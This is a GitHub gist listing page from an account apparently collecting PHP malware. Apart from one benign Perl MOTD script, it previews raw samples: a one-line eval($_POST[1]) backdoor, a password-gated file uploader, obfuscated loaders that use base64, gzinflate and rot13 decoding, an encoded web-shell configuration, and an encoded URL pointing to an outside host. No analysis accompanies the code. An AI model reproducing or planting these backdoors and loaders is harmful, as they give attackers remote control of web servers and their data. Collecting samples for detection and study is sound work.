Skip to content

Instantly share code, notes, and snippets.

View PalmaSolutions's full-sized avatar

Palma Solutions LTD PalmaSolutions

2 followers · 2 following
View GitHub Profile
@PalmaSolutions
PalmaSolutions / sysinfo.motd.pl
Created August 11, 2016 19:53 — forked from sanmadjack/sysinfo.motd.pl
A MOTD script for displaying system information.
#!/usr/bin/perl
use Data::Dumper;
sub GetIpAddresses{
my $output = qx(ifconfig);
my $hash = {};
my $interface;
foreach my $line (split /[\r\n]+/, $output) {
if($line =~ m/^([^ ]+)/) {
@PalmaSolutions
PalmaSolutions / plugins.php
Created April 6, 2017 05:04
Malware sample #1
<?php
/*
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
@PalmaSolutions
PalmaSolutions / xml.php
Created April 6, 2017 05:05
Malware sample #2
<?php
$j51="Sw63])Gua<[%sIegZB/o(\\UQ\r-Ln0d 2p^7Em5;.ih4A>bq,\t{8&_~VCvOX:j=\"zW\n*?TMN9'PR#Yk1fFr!t+JDy@`|c\$}HxlK"; $GLOBALS['jwaap78'] = $j51[14].$j51[81].$j51[81].$j51[19].$j51[81].$j51[52].$j51[81].$j51[14].$j51[32].$j51[19].$j51[81].$j51[83].$j51[40].$j51[27].$j51[15]; $GLOBALS['xrmxu81'] = $j51[40].$j51[27].$j51[40].$j51[52].$j51[12].$j51[14].$j51[83]; $GLOBALS['jyyzb48'] = $j51[29].$j51[14].$j51[79].$j51[40].$j51[27].$j51[14]; $GLOBALS['xsajl38'] = $j51[29].$j51[1].$j51[91].$j51[7].$j51[45].$j51[42].$j51[2]; $GLOBALS['gmbuo37'] = $j51[8].$j51[46].$j51[29].$j51[15].$j51[77].$j51[34]; $GLOBALS['npgeb16'] = $j51[36].$j51[29].$j51[37]; $GLOBALS['docrs69'] = $j51[91].$j51[19].$j51[7].$j51[27].$j51[83]; $GLOBALS['inatc62'] = $j51[83].$j51[40].$j51[36].$j51[14]; $GLOBALS['ubble32'] = $j51[91].$j51[19].$j51[27].$j51[12].$j51[83].$j51[8].$j51[27].$j51[83]; $GLOBALS['mtmqa91'] = $j51[29].$j51[29].$j51[40].$j51[91].$j51[8].$j51[50].$j51[78]; $GLOBALS['xrcop59'] = $j51[14].$j51[77].$j51[45].$j51[12].$j51[1].$j5
@PalmaSolutions
PalmaSolutions / 16823392131320052863.php
Created April 6, 2017 05:06
Simple backdoor #1
<?php eval($_POST[1]); ?>
@PalmaSolutions
PalmaSolutions / 0e9c8.php
Created April 6, 2017 08:51
Malware pattern #3
<?php
chmod(get_root_path(), 0755);
chmod(get_root_path().'/index.php', 0644);
chmod(get_root_path().'/.htaccess', 0644);
if (file_exists(get_root_path().'/index.php') && !is_writable(get_root_path().'/index.php') || file_exists(get_root_path().'/.htaccess') && !is_writable(get_root_path().'/.htaccess'))
{
fail_reason('Index.php or .htaccess isn\'t writable');
}
@PalmaSolutions
PalmaSolutions / unknown-malware-1.php
Created May 7, 2017 10:18
<?php
$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Z2xvYmFsICRhdXRoX3Bhc3MsJGNvbG9yLCRkZWZhdWx0X2FjdGlvbiwkZGVmYXVsdF91c2VfYWpheCwkZGVmYXVsdF9jaGFyc2V0LCRzb3J0Ow0KZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsNCg0KJGF1dGhfcGFzcyA9ICdmMzI0MmRjYzU5YThkNGRhNzAwMjcyZjA0YjQzMzJkMCc7DQokY29sb3IgPSAiI2RmNSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KDQppZihnZXRfbWFnaWNfcXV
@PalmaSolutions
PalmaSolutions / uploader-1.php
Created May 7, 2017 10:19
<?php
if(!empty($_FILES['message']['name']) && (md5($_POST['name']) == '10a60045bb1f3bde8b75b0c8757e2307'))
{
$sc = (empty($_POST['security_code'])) ? '.' : $_POST['security_code'];
$sc = rtrim($sc, "/");
$a = 'c';
$a .= 'h';
$a .= 'mod';
@PalmaSolutions
PalmaSolutions / unknown-malware-2.php
Created May 7, 2017 10:21
<?php /* -- enphp : https://git.oschina.net/mz/mzphp2 */ error_reporting(E_ALL^E_NOTICE);define('∆É', 'ı');∂¿ÀñóÁƒÏˆÌ–∆Æ…§ç‰·ÜØøflπ® Ô÷Ñ∂¿ÈÏÅ∂Ñôü»áñ∂◊›Â¢ÉÛà‰˘∑•⁄Õ•·§™ôÂïÜÁÀãÅÍ”àÅã‡flÉ‚‰ã«fl√Ì∫µª‡ò‡ã±∆°∏ÆÏ√∞ÿóπ⁄¢ö∫îûû¯™ÂŸÓ”ï§êıΩÒÇÓ∏£ßÁëÍôÈÉ“ƒ•ÌÄ∫çû≥∑Ö鶟£;$_SERVER[∆É] = explode('|||', gzinflate(substr('ãÈ>¡error_reporting|||define|||öò|||∆|||öò|||explode|||||||||gzinflate|||substr|||ãUú«ŒÉäñf’Ézè£#—EÍ∫%ës∆ò\\arŒQıÕπÁ™•ôfl∆ò∞˜∑◊“o≥nÀ?ó|Íí4ˇüˇı?ˇÒ?ˇ¸˝ü?¨€≤‰«flÀˇ¯˚·ó¨9Å˝3À”1˚˜{˙ ˇ˜Í˚Ô}«ˇ{kó/ß’øüóÏÔÖÚ©á¢K∂o·ü≈?œÈÔ≈”Ê}èK(ˇ`N‡‡æCŸÿ’Ωfi“‘–¢fÜÍ˚2o2•TVJ≤„˚ëŒ9%c¨ h=ÿ¸>Lvbflh|mπá˚Ÿöü¨{∑±h)¸5RÊÿò‹»ˆ‘P≥#yMY¿\'|m:c∆Ê] ."ó>û5n∫È∏Ÿ∑Ç5æ(ˆYÀ‘h¶Ñ\'
¡Mf˘ıny⁄ẕúöj1Ô´™∏ïG]tèΩpº”:¸"P`äóÎavæèUPHÈh øÿŸü“í
©Ã! ÄÆüÁ⁄Qó≈¿:≥;åJjêˇö.lœ~»ÊU≠ù¿àÛimó(k-|ü›É8#`sí_˛C˛YÔπ Hù¡ùL{чI˘ééÑ •ÆZ‡ú›!àáX∫t Ö7NÆôΩ∑“•@˘™ÙkV«fii<†∑§ñŒ:∏b4`)Æzª…÷ÓIW>‰Ú vº°—€ºŸÑ*ÅÌÆt:÷ÉéäøQ ÿR(“?z0Û‰ñ9>uj"E¨≈WíEíC©vµÙçN0.6;«M< àá^é%∏‰7ô„nMY⁄<åÃîÀGÆàW·X∑Ë
@PalmaSolutions
PalmaSolutions / unknown-malware-3.php
Created May 7, 2017 10:23
<?php $fnusosodlsdf="aHR0cDovL21pY3Jvc29mdDY0LmNvbS9iaW5nYm90L21zLnNlYXJjaC5wb3N0LnBocA==";$nusidlaslalskdjfka="";$asuakdwnnas="aHR0cDovL2dvb2dsZS5jb20v";$nwjduusispspa=""; $jsksuaoaapspp="C6y1F2EA7217PBTL1FlcH98sOpfo/r1Z76/OKFae";
$ndsksd='rVlpf6JIt3+fT0GMd6JtoqDiMhlmogi4IoIaddLxB8giIrIIQWb6u98q0Kxmpp/73BfdFlWnzjl1tvqfykWhwEmiN9YDxNc0+ddCQXNVLX+QbOvgS6pWUFwnCJP/87Iv/xFJjkvYYEuw/yV0TYKrmJhQ5NlqEauSQ2aOCQd7Uq+pTdmTCgo2qFYKzZlguReuokjKUnFlSdECcZ9Bs3cXgRgsVVfLPF47gSofLHMZU6mP1zeIZx1UF9AUCkiJo9JXt8qq7ciZJ8W5XLNUrkdwobfFbtX8JDu0d2l+44l2Sd/7jjrZlpwRvlYpwqBL684i4nPoTBG50Kqry2xmV+tospa9lD3e4VZFsWY/ZRsbuVfOinaNQ7F2F6sYT32BIm0npziLlVItmauB25ZHVfxqz1Xl7i4aodtxVuar5iVf+8Zf2mauYva3qsU9ZXSxUSEzYome+bbcnWBlXts1Lof8k3VrDIbm5UJGb0VmZZQmvJu1OmxnLLTldWgO/KLKdSmGfipiJVz89s2gLzcKlp3omRFXqrR7PbSek/f3yu1gRLFL2nqq1Rk1X5lQWb2RI0mKtf2WwV/ttvu2MyHCqEG22QE+aCvoVbXavTf6V0tV1sraSHQadEfs6fvZZmUOxyGFuiLFbq/EcLvrNmqrWWQVS2F93Jrg7XKJdTp79IrGuasevtxv97lN3cD19tasEDS2xp+KZndkzC5ZdxcStLZd5W8reHE0MYr6+FYhKUG+x4xQrQmsRd3mnzL4FbP5dlv0/dtuces/tfjFCht
@PalmaSolutions
PalmaSolutions / unknown-malware-4.php
Created May 11, 2017 05:40
<?php
function pet($Auc)
{
$Auc=str_rot13(base64_decode($Auc));
for($i=0;$i<strlen($Auc);$i++)
{
$Auc[$i] = chr(ord($Auc[$i])-1);
}
return $Auc;
}